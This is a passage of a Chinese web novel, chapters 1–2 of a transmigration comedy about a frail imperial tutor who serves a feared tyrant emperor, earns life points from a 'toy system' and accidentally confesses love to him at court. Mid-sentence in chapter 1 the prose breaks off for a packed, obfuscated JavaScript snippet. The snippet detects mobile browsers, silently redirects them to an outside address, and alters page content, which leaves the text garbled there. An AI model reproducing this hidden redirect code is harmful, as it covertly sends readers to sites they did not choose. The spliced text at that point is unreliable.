《让暴君怀崽后死遁了》 1. chapter1暴君 东乾新历六年,霜降刚过,还未到立冬。东乾京城的天色就已经黑得格外早,比往年都要夸张些。街上大雪纷飞,连着七日未绝。下雪的前三天,专职观测天象异端的天占台就上报“瑞雪兆丰年”,京中喜庆一片。 然而,等到后四天的时候,京城里的流言便与风寒顽疾一起悄然而至,将京城搅和了个天翻地覆---- 人人都说,这是天谴东乾,阴阳不调,暴君无德,更待新王...... 这流言谴责的,便是新帝萧子政朝前暴戾恣睢,朝后遣散后宫的恶劣行径。 按照东乾的传统,凤舞龙吟,繁衍生息,乃为一国延续之本。已经仙逝的成帝虽说不立后,但好歹留下了龙子,如今的萧子政却比萧成帝更加过分,登基三年,连个侍妾都未曾留下,更别提立后和皇嗣的事了。 朝中大臣已经不止一次提过广开后宫之事,但一提起选秀,萧子政就大发雷霆,抬手点兵点将,从一众建议他广开后宫的大臣中任选一个倒霉蛋开刀,试验他新研究出来的刑罚。 说起来,萧子政酷爱研究刑罚,他“人生得意”之作,便是一种名叫“滚水蛟肉”的刑罚。 萧子政登基之初根基未稳,他的表皇叔挟持了顾太傅谋反不成,反被萧子政亲自在南宫门下马碑处生擒。 炎炎夏日,萧子政便令人阉了那表皇叔,随后将这位表皇叔捆在下马碑旁的一根粗柱上,不断地往他身上浇滚水,虽说顾太傅求情,最终留了表皇叔一命,但他也跟死人没什么区别了---- 皮肉尽毁,黏成一片,根本看不出个人样,终年囚于北地,与牛马同食,还不如死了痛快...... 面对自己的皇叔都如此狠心,还研究出这样的酷刑,与旧朝暴君,简直没有什么区别! 并且,萧子政可能还是“青春没有售价,吾臣入口即化”的最早来源,传闻在萧子政还是皇子的时候并不受宠,冬日难挨,缺肉少食,他竟把随从的肉剜下来吃。 而且据说,萧子政的皇位也来得蹊跷...... * 眼看流言愈演愈烈,即使漫天风雪,为了俸禄,哦不,为了芸芸众生,宫里的朝会照旧进行。 今日,众臣打算说的,便是有关于选秀的事情。 虽然已经失败过一次,但这次的众臣们是有备而来。 既然他们好说歹说陛下不听,那便让顾太傅来试试。 风霜之间,茫茫雪地上扎着一堆身着深青色官袄,手持玉笏的官员,他们就在下马碑前站着,也不进早早点好暖炉的议朝殿,任凭袍子被阴风吹得猎猎作响。 时辰还未到,谁也不想早点进去。 众多官员之间,为首的是一名老者,他被其他官员众星拱月一般搀扶着,雪发银丝,垂眉低眼,乍一看面相很是慈祥。 这位是陈阁老,吏部尚书,乃是顾太傅,顾衡之的恩师。 “阁老,听说顾太傅旧疾复发,这几日卧病在床高热不断,一醒来就告假一旬,今个儿真的能赶过来?”说话的是陈阁老的孙子,他搀扶着陈阁老,满面愁容---- 一想到要面对那暴君,他就觉得自己仿佛把脑袋别在裤腰带上。 真是奇了个怪了,萧子政也是个男人,春宵苦短,无人纾解,怎么就不愿意纳妃立后呢?老婆孩子热炕头,这多正常的事情啊! 陈阁老未答,半晌,他意味深长地说道: “旧疾复发才好啊......旧疾复发,天上的那位才会于心不忍不是?一于心不忍,这大雪,也就可以停了。” “阁老,人心易变,就怕您把顾衡之想得太好了,前日瑞雪宴,我命人下了三道拜帖,他都不肯过来。这旧疾,早不发晚不发,偏偏这个时候发,倒也巧!”礼部尚书阴阳怪气道,“平日里,他端得那''冰清玉洁’的样子,除了阁老您,我等这一众闲杂人等,他怕是瞧不起呢!” 礼部尚书说罢,周围的其他官员虽不吭声,但却连连点头,一看就是和顾太傅积怨已久。 礼部尚书还想继续发难,寒风突然送来了一阵咳嗽声。 五院六部七十二文臣齐齐转身。 风雪中,摇晃着的抬轿上,模糊的人影随着距离的缩短而逐渐清晰。 来人身着浅青色的圆领广袖长衫,肩上披着件月牙白绒面披风,面容好似冰玉,浑身气质高洁不染,又像傲雪寒梅,左眼尾处却有一颗小痣,平添了几分尘世妩媚,少了些不可接近。 象征官位的浅紫发带连着几缕发丝,一齐被寒风从紫玉缠枝银冠中吹落,散在青年肩头,他歪斜着靠在抬轿上,倒跟远处的梅树相映成趣,应了一句“疏影横斜临傲雪”。 随着抬轿的摇晃,轿子上的人连连咳嗽,眼角和脸颊上都带了几分病态的红润。 刚刚还觉得顾衡之装病的礼部尚书,只感觉抱怨的声音被生生掐断---- 眼前这人哪里像是仅仅沾染风寒,分明跟要死了一般。 礼部尚书心里忽然生起几分愧疚,半夜从热炕头上醒来恐怕都想要多扇自己几巴掌。 当然,他还是对顾衡之没什么好感。 “快把手炉给衡之拿过去。”陈阁老一见顾衡之就笑了起来,连忙命人把手炉递到了顾衡之手里。 “你们啷个都不关心关心我也?”同顾衡之一道来的,是工部侍郎,他是巴蜀人士,官话不怎么好,顾衡之的容貌过于出众,都没人注意到他也一道过来了。 工部侍郎这一句只是在开玩笑,让众人怎么也想不明白的是,那素来只跟陈阁老交好的顾太傅竟然把手炉递到了工部侍郎手里。 工部侍郎还未反应过来,就感觉手里一热,那火热的炉子就出现在他手中了。 诶? 工部侍郎愣了愣,要知道顾衡之平日里是不屑与他们为伍的。 反观顾衡之,除了手腕上那条念珠长串还有手里的玉笏,手上没有半点保暖的物什。 顾太傅是在搞什么名堂?不走孤傲路线了? 众人不约而同地想。 * 既然顾衡之已经来了,那么他们就没有继续在这儿吹冷风的道理了。 大臣们一片静默,跟要奔赴刑场似的,一脸肃穆地朝议朝殿走去。 这议朝殿在萧成帝时期,本来是叫“议政殿”,但是为了避讳当今圣上萧子政的名,也就改成了“议朝殿”。 议朝殿门口站着两对手持廷杖的侍卫,是萧子政特地调遣到这里守着的,只等萧帝一声令下,忤逆他的大臣就会被施以杖刑。 到了议朝殿的台阶之下,在场的大臣,无论是乌发如云还是雪发银丝一树梨花,皆齐齐看着顾衡之。 那样的目光,险些让顾衡之以为自己不是太傅,而是手握重权的统领。 如果顾衡之仔细看,就能够读出众人目光中的意味---- 顾太傅,就靠你了! 顾衡之不想读懂,他咽了咽口水,目光虚浮地飘向玉笏上雕刻着的文字: 王家侄女,年方十七,诗词曲赋无一不擅长。 谢家小姐,年方十五,长袖善舞,翩若惊鸿。 ...... 这上头写的是各世家女眷的情况。 当时工部侍郎来接顾衡之的时候,操着一口巴蜀话道: “若是陛下硬是答应咯,逗照到上头嘞个名单,给陛下推荐妃子嘛。” 幸好顾衡之祖籍在湘南衡山,乡话与巴蜀话有几分相似,不然还真不知道这些大臣是“啷个意思”。 就算听懂了,顾衡之仍旧甚是无奈。 要知道,做媒牵线,最忌讳半路开香槟。 谁能想到,这位萧陛下,喜欢的根本不是女子呢? 没错,萧子政,他喜欢的是男人。 至于顾衡之为什么会知道---- 他是穿越过来的。 所以,他知道萧子政会被主角受的魅力折服。 但很不幸,萧子政并不是主角。 这个世界,是一本名为《霸道世子爱上我》的耽美小说。 顾衡之,名顾久,湘南衡山人,衡之是他的表字。原书中,顾衡之是个冷傲得不愿意跟其他大臣为伍的清流,他独来独往,平日里最大的爱好,可能就是找死,也就是找暴君萧子政的不痛快。萧子政睡个懒觉,他也要管,萧子政打个喷嚏他也要凑过去说失仪。 这还都是小事。 这位顾太傅,做的最离谱的一件事,就是替萧子政的表皇叔求情。 要知道,那位表皇叔可是反贼啊! 要不是萧子政本人在反贼的九族之内,这样的罪行,高低要发挥族谱的作用,连坐不少人。 书里并没有交代萧子政为什么没有杀顾衡之。 可以肯定的是,朝中大臣因此就以为顾衡之有什么能够劝说萧子政的诀窍。 事实证明,奇迹并没有发生,最终顾衡之会被萧子政大卸八块而死,比五马分尸的商君还多上几块。 当然,别看萧子政这么威风,在这本小说里,也不过是主角攻一统天下的垫脚石,他死得可不比顾衡之轻松,最终是被凌迟处死。 你成碎,我成块,他们都有美好的未来。 但顾衡之私以为他还是要比萧子政惨得多,萧子政只用管杀人就好,他顾衡之要考虑的可就多了。 顾衡之的生命威胁还不仅仅来自于暴君萧子政,还来自于主角攻受,来自于太后的情人杨太保,来自于京城内的书生。 主角攻,萧子恪,在顾衡之身上下了毒,还自称是顾衡之的好兄弟,试图通过顾衡之掌握帝王萧子政的动向然后谋权篡位,事成之后就会一脚把顾衡之踹开。 主角受,齐书宝,太后和她的情人杨太保所生的儿子,幼年与太后在湘南失散,目前与太后并未相认。至于没有相认的原因---- 当年,主角攻为了讨好太后和掌握一半军权的杨太保,让原主冒充了太后私生子的位置......顾衡之猜测,可能这就是原主多次惹怒萧子政但是却没有被杀死的终极原因。原书中顾衡之的死,也与这件事脱不了干洗。虽然是萧子政直接动手,但是背后的推波助澜可少不了杨太保。那群扎暴君小人的书生就是杨太保在知道顾衡之不是自己亲生的之后,为了报复撺掇起来的。 假如只是穿书,那还好,既然有了预知未来的能力,顾衡之完全可以避开死亡点。 但很不幸的是,为了暂时在这个保守封建的皇权社会活下去,他还必须赚取生命值。 顾衡之刚穿过来就看见一个白毛绒在地板上跳动,自称是玩具系统,能够为将死之人提供生命值: 【本系统名讳为玩具系统,目标是带着宿主建立玩具王国,积累无数生命值走上长生不老之路,寄生合同签订完毕,ready?go!】 “go什么go,狗带啊。”顾衡之醒来的时候一脸不解,“什么寄生合同,怎么就签订完毕了?” 【如果您不愿意,也可以选择解除合同。】系统道,【后果是穿会现代,迎接死亡结局呢亲。】 顾衡之怔了一下,还是答应了。 接着顾衡之就知道了什么是生命值。 生命值就是通过卖出系统提供的玩具货源来获取,卖出去一个玩具,顾衡之就能够获得相应的生命值,一点生命值可以供他存活一天,一旦生命值低于0,顾衡之的身体就会变得虚弱,随着时间的流逝,最多不过一天的时间,顾衡之就会虚弱到失去生命体征。 至于顾衡之现在的生命值---- 很幸运,是零呢~ 这也是为什么顾衡之过来的时候显得那么虚弱。 放心,他没有生病,他只是快要死了而已。 【宿主,你不要灰心,俗话说得好,男人至死是少年,这群老头里,总有个喜欢玩玩具的,要不你趁还没进门,赶紧卖个玩具出去?】顾衡之的脑海中,系统说道。 顾衡之唇角搐动,一时语塞,他的眼前出现了一个货源面板---- 【第一页,炫酷公主脑袋陀螺,跳舞妖娆花......】 【第二页,七彩碰碰车,U型过山车......】 【第三页,小皮鞭,超级马达按摩椅,马赛克马赛克,哔哔哔----】 但凡里头有个正经的玩具,他也不至于虚弱成这样。 “算了,我还是开宝箱答题吧。”顾衡之有气无力地说道,“希望能从萧子政嘴巴里翘出些东西。” 顾衡之所说的开宝箱答题,是另外一种赚取生命值的方式。 开宝箱赚生命值比较玄学,首先,找到宝箱就是一个难题,因为宝箱是随机触发的。其次,还要回答对宝箱里的问题才能得到生命值。 卧病在床的那几天,顾衡之无意发现了原主左手上的伤疤,成功触发了一个价值三十点生命值的宝箱。 高利益,高风险,宝箱里的问题也十分古怪---- 【Q:请问本书中,暴君萧子政的原名是()】 【A.萧子政B.萧子恪C.小暴暴D.筝儿】 说实话,顾衡之觉得这四个答案里,没有一个是对的,本来他想选A来着,不过,顾衡之认为事情一定没有那么简单。 还是得问问萧子政本人。 【宿主,你不觉得卖玩具比答题要简单多了吗?】系统想不通,【这些玩具是炫酷了些,但不就是丢面子的事情嘛?】 “炫......炫酷?”顾衡之在怀疑系统的审美,“你不要脸,我还要,人生在世,不就是为了这一张皮?好了你放心,我有办法。” 【什么办法?】系统道。 “咳咳。”系统话音刚落,顾衡之就咳嗽了几声,他朝众人拱了拱手道:“各位大人,衡之以为上面的名单,还要加上几个。” “哦?衡之以为要加上哪家的姑娘才好?”陈阁老看上去兴致盎然,很是期待顾衡之的锦囊妙计。 大臣们安静了下来。 万众瞩目下,顾衡之拱了拱手,一本正经地说道:“不,我认为要加上男子。” 陈阁老的笑容僵住了,他的胡子肉眼可见地颤抖。 顾衡之的话,对老人家而言开始太开放了。 【噗!宿主,这就是你的办法?】系统吐的血都能造喷泉了。 “顾太傅,你看我啷个样?”工部侍郎捧着个手炉乐呵呵道,他并没有意识到事情的严重性,还以为顾衡之在开玩笑。 然而顾衡之继续补充道:“俊美的男子。” 如果顾衡之记得不错的话,暴君是个颜控。 自认为容貌不差的工部侍郎:...... 一说起“俊美的男子”,大臣们左顾右盼,最后目光都停在了顾衡之脸上。 顾衡之被众人看得毛骨悚然,无辜地眨了眨眼。 “顾太傅,你怎么不去呢!” 空气很寂静,那一刻,诸位大臣在心里用着乡音道。 “好了衡之,休作戏言。”反观陈阁老,他自动合理化了顾衡之的语出惊人,也以为顾衡之在开玩笑,“时辰到了,得快些进去了,勿让陛下等着。” 别走啊! 顾衡之内心的小人挥舞着尔康手,他本来还想试试能不能从这些大臣嘴里问出萧子政的本名呢! * 守门的侍卫推开了大门。 一进到议朝殿内,周遭就安静得可怕。 所有人都自觉低下了头,生怕触怒天颜。 顾衡之的神经紧绷,他只觉得头皮一阵发麻,明明是冬天,他却觉得额头上在冒汗。 就算没有抬头,顾衡之都能感受到高堂上的人在看他,他的双脚仿佛被钉在地面上,半分也移动不得,更别提说话了。 议朝殿的地面上铺的是玄武砖,被擦得锃亮,宛若明镜。 从地面的倒影上,顾衡之能看到金光灿灿,盘旋着六爪金龙的皇椅。而坐在皇位上的人,就宛若盘踞在远古巢穴守着财宝的凶兽,举手投足间是咄咄逼人的威严。 就算只是看着倒影,顾衡之也能窥见眼前人出众的相貌和身材。玄色龙袍加身,头戴珠玉冠冕,脸庞的轮廓流畅利落,面目冷峻肤色冷白,眉宇间透着一股肉眼可见地暴躁,没有半分笑意。 “参见陛下,吾皇万岁万岁万万岁!” 大臣们各怀心思,按照规矩行礼。 礼罢,高位上的皇帝挥了挥衣袖,示意众人有事起奏无事退朝。 顾衡之微微抬手,他的余光看见陈阁老的孙子在朝他使眼色。 顾衡之深吸了一口气---- 冷静,再不济还有杀手锏。 顾衡之稳着步子,走出了大臣们的队列,他低着头不紧不慢地说道:“启禀陛下,臣听闻天占台夜观天象,察觉紫微垣式微,臣缠绵病榻,今日才知晓这一讯息,陛下神通广大,定当也知晓了此事。” 突然被提到的天占台官员:...... 怎么好像忽然感觉不到脑袋的存在了。 顾衡之可没有意识到大臣们面若猪肝色的脸庞,他顿了顿,轻咳了几声。 倒不是他故弄玄虚,而是生命值太低,他不缓一缓的话,只怕还没问到答案就提前倒下了。 顾衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14467636|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之的喉咙里已经有了血腥味。 “神通广大?”让所有人都没想到的是,萧子政的声音里带了些不易察觉的笑意,虽然他的神情看上去依旧很暴躁就是了,“可真是难得,自孤登基以来,太傅这是第一次夸奖孤。” “太傅缠绵病榻,孤未曾去探望,太傅可曾认为孤失了礼数?”萧子政讽刺道。 若是平常的顾衡之,听了这句话非得跟萧子政争执一番不可。因为按照东乾的礼数,萧子政虽然为君王,顾衡之为臣子,但是太傅终究是太傅,就算萧子政不来看望,好歹也应该派人问候几声。 知道顾衡之性格的诸位大臣不由得捏了一把汗,他们就怕顾衡之气性上来,又跟萧陛下闹不愉快。 但今日的顾衡之已经不一样了。 顾衡之摇了摇头,依旧没有抬头看萧子政。 金龙皇位上,东乾的一国之君盯着阶下人单薄的脊背,心里莫名的很不是滋味---- 是不认为,还是不在乎? 也不知是出于何等心情,萧子政手一挥兀自决定道:“太傅,可想要什么歉礼,孤都可以成全。” 宛若背景板一般的大臣们眼中忽然迸发出了光芒,看向顾衡之的目光充斥着不可思议---- 好机会啊!顾太傅只需要在这个时候说想要陛下广开后宫,一切不就成了? 萧陛下虽说霸道,但是到底是君王,登基以来向来是说到做到,说砍谁的头,就砍谁的头,想来这次也不会反悔。 果然关键时刻,还是得靠顾太傅!不愧是陈阁老的学生啊! 顾衡之的心里可没那么美妙了,他在想萧子政在搞些什么名堂。 “臣,不求陛下的歉礼。”顾衡之气若游丝,感觉都可以看见自家太奶了,“只希望得知陛下原本名讳,若能为陛下祈福,为东乾祈福,便是衡之所幸了......” 顾衡之话音刚落,大臣们面面相觑---- 这话说得,嘶,怎么......怎么这么暧昧呢...... “太傅想怎么为孤祈福?”萧子政的坐姿变了,微微向前倾了些,像是认真盯着小麻雀扑腾翅膀的大猫,他自动省略了顾衡之后面的那句“为东乾祈福”。 这...... 顾衡之额头上冒着瀑布汗,他还没来得及学东乾有哪些祈福的方式。 但这么沉默着也不是办法,回想起小时候在企鹅空间上看到过的非主流伤痛表白火星文,顾衡之心一横道:“这祈福的方法是仙人托梦给臣的,据说只需心怀虔诚,默念着陛下的名字把祝福折进纸鸟里,所念之人就会长命百岁。” 此刻,顾衡之真切体会到提着脑袋说话是什么感受。 表白的话,用在这儿,应该不打紧吧。 顾衡之此刻的心情就像是写毕业论文乱引用论文后怕被导师抓到。 陈阁老等一干大臣更是迷迷糊糊的,总觉得顾衡之的话不对劲,但又说不上来。 君心难测,顾衡之这话也不知道戳到萧帝哪块痒痒肉了,一片死寂中,那高堂上的暴躁君王竟大笑起来。 众臣正要跟着“嘿嘿”地一起笑,萧帝的笑声戛然而止。 大臣们不由得觉得有些尴尬,人一尴尬手头就会忙起来,他们的手不由自主地摸向下巴上的山羊胡,还没捋个几下,萧子政那充满玩味的声音忽然响起---- “孤还以为,顾太傅是要议论后宫之事呢,棺材都准备好了,却不想今日的顾太傅如此不同,心里竟也有孤。” 嘶,疼! 跟商量好了似的,大臣们揪断了自己的胡子,他们看向顾衡之的目光多了些叹服---- 什么叫曲线救国,要是顾太傅直接说选秀的事情,岂不是现在都已经进棺材了? 大臣们在想着选秀开后宫的事情,顾衡之则隐隐觉得有些不对劲---- 心里有孤...... 这话可以这么说吗? 一直记录着的史官在下笔的时候,也犹豫了一会儿,笔锋悬在竹简上,就等着萧子政说后面那句话,可是萧子政的话,就这么戛然而止。 大臣们心思各异,不过,顾衡之也来不及细细揣摩萧子政的心思,他听见萧子政问道: “顾太傅可有什么合适的人选?” 萧子政的手轻轻敲打着龙椅,熟悉的萧子政暴行的人,便知道萧子政动杀心了,眼前只不过是暴风雨前的宁静,若是顾衡之回答得不好,只需萧子政一个眼神,刚刚守在门口手持廷杖得侍卫便会将顾衡之拿下。 众臣胆战心惊。 明明萧子政现在看起来平静不少,不像往常那样犯病,杀心却不比犯病时少。 只可惜顾衡之并不知道,他有些纳闷: 萧子政居然真的对世家小姐感兴趣?难不成前期暴君喜欢的是女子,遇到主角受之后才改了性向?等回答完这个问题,萧子政总该把本名说出来了吧...... 顾衡之清了清嗓子,他照着玉笏上推荐的人选道: “回禀陛下,臣以为谢家的小姐贤良淑德,配得上陛下。” “呵。”萧子政冷笑了一声,道,“她有什么喜好?” “琴棋书画,无一不精通。”顾衡之照着玉笏念道。 顾衡之说罢,高位上的人忽然没话说了。 顾衡之本想偷偷瞥萧子政一眼,可是刚一抬眼,就跟萧子政的目光对上了。 顾衡之赶紧低下头---- 萧子政那眼神,简直就像早就料到他会抬头似的。 “琴棋书画,无一不精通吗......”萧子政喃喃道,他扯了一下衣领,眼底有压不下的烦躁,“那跟太傅的琴棋书画比起来,又何如?” 这...... 顾衡之没有敢回答,他真怕萧子政会说什么“那倒不如让太傅进后宫了”。 万一给这些大臣们打开思路,真的让他进宫监视萧子政,那就不好了。 顾衡之维持着拱手低头的姿势,缄默了一会儿,就在他打算逼出喉头的淤血装病时,萧子政自问自答道:“太傅的技艺,自是无需比较。” 接下来,萧子政又问了好几个世家小姐的年龄喜好,顾衡之照着玉笏上回答,对答如流。 等到萧子政问完最后一个小姐的时候,顾衡之舒了一口气---- 总算是把所有世家小姐都介绍完了,这下这群大臣可满意了吧。 作为一个科考上来,没有半分背景的官员就是这么的悲惨,表面上风光无限,实际上不仅伴君如伴虎性命堪忧,家里人还被接到京城来当作把柄,只能任人拿捏。 大臣们确实很是满意,一个个都指望着能当上萧子政的岳父。 可萧子政的心情就没有那么好了。 “太傅对世家小姐倒是了解。”萧子政这话说得很平静。 “那是自然,陛下的事,臣当然要放在心上,细细去查办。”顾衡之拱了拱手,他自认为这一番对话天衣无缝,没有错处,然而---- “砰!” 只听得一声巨响,不知道哪儿来的火星子把萧子政给点燃了,竟然直接把龙椅前摆着的一道的矮桌案给踹裂了。 “顾太傅连各世家女子的名录都准备好了,对世家女子的私家事了如指掌,却连孤的名讳也忘记了,何必用祈福的幌子来骗孤,顾太傅可知这是欺君大罪!” 刚刚开怀大笑,忽然变得冷若冰霜咄咄逼人,真是阴晴不定! 顾衡之被惊得一个震悚---- 不行,不能自乱阵脚!启动B计划! 不远处,两个手持廷杖的侍卫像是凶狠的烈犬一般,忽然就冒到了顾衡之两边,想将顾衡之拿下。 危! 众臣摇了摇头,那一刻,他们都觉得顾太傅的号废了。 眼看着侍卫有力的手伸向顾衡之的肩头,他们还没有用力,只听得“扑通”的一声---- 顾太傅水灵灵地跪下了? 顾衡之跪得飞快,再一抬头,竟有泪光在眼中打转。 “臣心悦陛下!所说句句属实!从未欺君!”顾衡之坚定得像是要入党,为了感动到萧子政,他不再克制着喉头处翻涌的血腥味,声嘶力竭。 怕萧子政耳背,顾衡之额头重重地磕在地面上,咳嗽了几声,又高呼道:“臣心悦陛下!句句属实!” 顾衡之的话余音绕梁,久久不绝,萧子政和在场所有人皆是一愣。 若是有人敢冒着被砍脑袋的风险抬头看,便能窥见他们那阴鸷可怖的君王,竟是耳朵红了,连胸口的起伏都变得剧烈了起来...... 2. chapter2匕首 在顾衡之的想象中,他应当看上去忠心耿耿。 他甚至还用了反复的修辞手法呢,保准真诚!顾衡之记得在原书中,萧子政对主角受的好感,就来自于主角受的真诚。 顾衡之得意地想---- 这不铁铁把萧子政拿下! 这边,顾衡之还沉浸在成功的喜悦当中,另一边,系统一脸呆滞: 【宿主,你在嗦什莫啊?】系统好半天才从呆滞中缓过神来。 “我说我心系萧子政,绝对没有欺骗他。”顾衡之不明所以,但很快,他终于发现了事情好像有哪里不对劲。 刚刚,他说的是“心系”吧...... 顾衡之越想越觉得心里没底,像是考试完后对答案,总觉得自己写什么错什么,甚至怀疑自己涂错了答题卡。 【可是,宿主,我听到的是“心悦”啊......】系统的话戳破了顾衡之最后的希望。 顾衡之本来还想为自己一秒挤眼泪的演技点赞,等意识到自己把“心系苍生”的“心系”说成了“心悦”的时候,他险些晕厥过去,原地穿回现代进icu。 演技合格,台词不合格。 天地为鉴,他本来想说的是“心系” “心悦应该,应该也有关心的意思吧。”顾衡之试图宽慰自己。 【嗯~宿主,如果您真想蒙蔽自己,也不是不可以。】系统提醒道,【以及,宿主您再不拿到生命值,您的身体就马上要透支了。】 系统话音刚落,顾衡之眼前出现了一个立体的人体透明模型,在模型肾脏的位置处,开始出现密密麻麻的闪烁红点,像是在向顾衡之下达最后的通牒。 顾衡之环顾四周。 萧子政的表情和诸位大臣的表情已经说明了一件很明显的事情---- 在这个世界,确实不会有太傅会对皇帝说“心悦”。 怎么办...... 太多的问题压在顾衡之的身上,一点点把顾衡之的脊柱压弯,他不是个坚强的人,脑子一乱,就容易死机,下意识想要回避。 “咳咳......” 剧烈的咳嗽声在安静的空间中显得格外明显,喉咙处火辣辣的感觉让顾衡之下意识地捂住了自己的嘴,玉笏也掉在了地上。 粘稠的液体从指缝间慢慢渗了出来,在修长白皙的手指上格外明显。 “啪嗒,啪嗒。” 暗红的血液从顾衡之手上滴在干净的玄武砖上,把手腕上的珠串都浸染上了血腥。 自东乾开国以来,不知道有多少臣子的血洗涤过这片地面,像顾衡之这种自己忽然吐血的,倒是头一等。 算了,还是闭眼装死吧。 与周围人紧张诧异的神情不同,顾衡之反而松了一口气。 “砰”的一声,顾衡之迫不及待地就倒下了。 * 太医院的小担架来得很快,不一会儿就把顾衡之抬到了担架上。 顾衡之虽然身型单薄,可是身长八尺有余,放在现代也是一米九的高大成年男人,现在缩在担架上,显得有些辛苦可怜。 顾衡之躺在担架上乖乖装死,就连大气儿都不敢出。 不过,比起顾衡之,正心心念念着自己脑袋的太医,此时显得更加难熬了。 “那什么太医,顾太傅怎么样?”萧子政甚至连太医的名字都懒得记住。 “回禀陛下。”太医战术性地顿了顿,酝酿措辞,“顾太傅四肢发寒,其内似有邪火作祟......” “讲重点!”萧子政不耐烦地说道。 太医正思考着怎么凑够回答萧子政的话术,忽然就被打断了,颤颤微微的,人都快晕过去了。 帝王之威实在可怖,更别说是一个喜怒无常,随时要人脑袋的帝王。 顾衡之躺在担架上,两眼一闭就是装病,简直羡煞旁人。 “晕一个顾衡之也就够了,太医若也是要晕,那就滚去乱葬岗长眠不醒吧!”萧子政眼神锐利,像是有实质的尖刀刺向了太医。 “这暴君怎么这么没礼貌,连顾太傅都不叫了,直呼其名。”顾衡之心道。 【宿主,您还是想想怎么在今天之内获得生命值吧,不然接下来可不是吐血这么简单了,死相会很难看。】系统提醒道,【宿主相信自己,你很适合这个世界。】 “怎么说?”顾衡之饶有兴味道。 【迂腐,古板,又跟原主同名。】系统道,它尝试对顾衡之进行鼓励式教育,【加油,我们一定可以的!】 “额,真谢谢啊。”顾衡之说道,并没有谢意,他的话茬忍不住绕到了萧子政身上,“说实话,我感觉这个小暴君的思想倒挺先进的,在现代,长得帅又专情的男人可少的嘞。” “要是他不杀我的话,我挺喜欢他。” 要是顾衡之睁着眼,此刻眼中定是有笑意的。 小......小暴君? 系统嘴角抽搐:【宿主,你可别乱取绰号,在过往案例中,就有宿主把在心里取的绰号叫出来。】 “放心放心,我不会的啦。”顾衡之说道,完全忘了刚刚自己嘴瓢把“心系”说成“心悦”的事情。 ...... 顾衡之和系统闲聊的这个空当,太医已经精简地描述了顾衡之的病情。 简单来说就是冷着了,外加睡眠不足,还有一点,就是燥郁攻心造成的吐血。 说到“燥郁攻心”,萧子政不解地皱了皱眉:“太医,什么意思?不是手伤的缘故吗?” 萧子政这话听得顾衡之一愣---- 萧子政居然记得他手臂上的伤,看起来,也不像书里说的那样连宫里的人都记不全啊。 “这......可能就要等顾太傅醒来才能知道了。”太医道,很机智地把锅都甩给了昏迷着的顾衡之,“现在当务之急,是把顾太傅送回卧榻,用暖炉和汤婆子烫烫手脚,兴许会好很多。” “还不把暖炉拿给衡之!”陈阁老低声呵斥道。 工部侍郎连忙欠身想把暖炉还给顾衡之,然而,他还没来得及挤进来,就被萧子政阻止了。 “别动。”萧子政冷冷地说道,他每次对大臣们说话的时候都是这么的烦躁,说的句子也短,能蹦两个词出来,就绝对不会蹦三个词。 连太医都迷惑了,还以为萧子政心情忽然不好,不想给顾衡之治病了。 诸位大臣心里的想法与太医无异,他们齐齐看向陈阁老,陈阁老没有作声---- 说到底顾衡之于他们而言,只不过是讨好陛下的一颗棋子。 顾衡之的心更是凉了大半截,他甚至在考虑要不要现在诈尸醒过来。 “陛下......”无法忽视的愧疚让劝阻的话在陈阁老的喉咙中翻滚,最后又被迫咽了回去。 因为没有说的必要了。 萧子政皱着眉头微微欠身,那生来就凶神恶煞的冷淡面孔,简直让太医和抬小担架的药侍怀疑萧子政要把顾衡之从担架上扇下来。 顾衡之只觉得自己忽然腾空了,他差点睁开眼跟萧子政对峙。 然而,事实却是顾衡之的膝弯架在萧子政的手臂上,而肩膀则被萧子政揽住。 萧子政把顾衡之抱住了。 不过,顾衡之的身高摆在那儿,所以萧子政抱得有些费劲。 很自然的,顾衡之往温热的地方凑。 这个触感...... 顾衡之思绪骤停,他猛得意识到怼着他脸颊的,是萧子政的胸肌。 还怪热乎的,这个形状,肯定是练过的。 而且,还香香的。 顾衡之鼻翼微动,险些忘记自己是在装晕了。 陈阁老一行人瞧着顾衡之,脑中回荡着顾衡之在进入议朝殿前说的话---- “不,我认为要加上男子。” “回苍龙殿。”萧子政根本没有意识到他这样的举动有多么的出格,或者准确来说,他知道了也并不在乎,他本来就是这样的人。 史官的手抖了抖,他用力地咽下唾沫,老老实实地在逐渐上写到: “东乾新历六年,九月廿九,议朝殿。顾太傅奏请陛下广纳后宫,两人互辩后,太傅忽罹恶疾,陛下遂屈尊将顾太傅抱回寝宫,众臣愕然,工部侍郎王从之倾翻手炉,谓礼部侍郎曰:"此合乎礼乎?"陈阁老答曰:"礼即陛下,陛下即礼。",众臣曰:"善"。” ...... 苍龙殿前,一位尚未卸去铠甲的将军怒气冲冲地破门而入。 “陛下,您怎么能让那酸腐书生睡在龙塌上,这成何体统!” “滚出去。” “李将军,您别跟陛下置气......诶,李将军!” ...... 周围是一片嘈杂和鸡飞狗跳,等到一声暴躁的吼声响起,门被打开又关上,室内重回一片寂静。 听得出来,顾太傅貌似不太被待见。 顾衡之才迷迷糊糊地睁开眼,映入眼帘的是正黄色的重重帷幔,还有从帷幔中透进的一丝光亮。 床榻上的锦被质地极软,面料像是羽毛的触感,在这种生产力并不发达的古代定当一掷千金都很难买到一匹这样的面料。 而此时,堆在顾衡之身上的,足足有十床这样的被子。 当时,太医本想提醒萧子政别把顾衡之给闷死了,可太医看萧子政陶醉在往顾衡之身上叠被子的乐趣之中,就没敢说话。 这弄得顾衡之翻身都有些困难。 顾衡之甚至怀疑这是萧子政研究的新刑罚。 但不得不说,这龙塌不愧是一国九五之尊睡的地方,顾衡之躺在上边,只觉得紧绷的神经都放松了,恨不得再睡一觉。 顾衡之很认床,先前在顾家因为床板太硬,枕头太高的缘故,好多天都没有睡好,现在躺在这么合心意的床上,他都不想起来了。 要是能把这张床占为己有就好了。 做皇帝,就是好啊...... 顾衡之幸福地眯着眼,真想跟萧子政换个位置。 要是他是皇帝,卖这些小玩具不是简简单单? 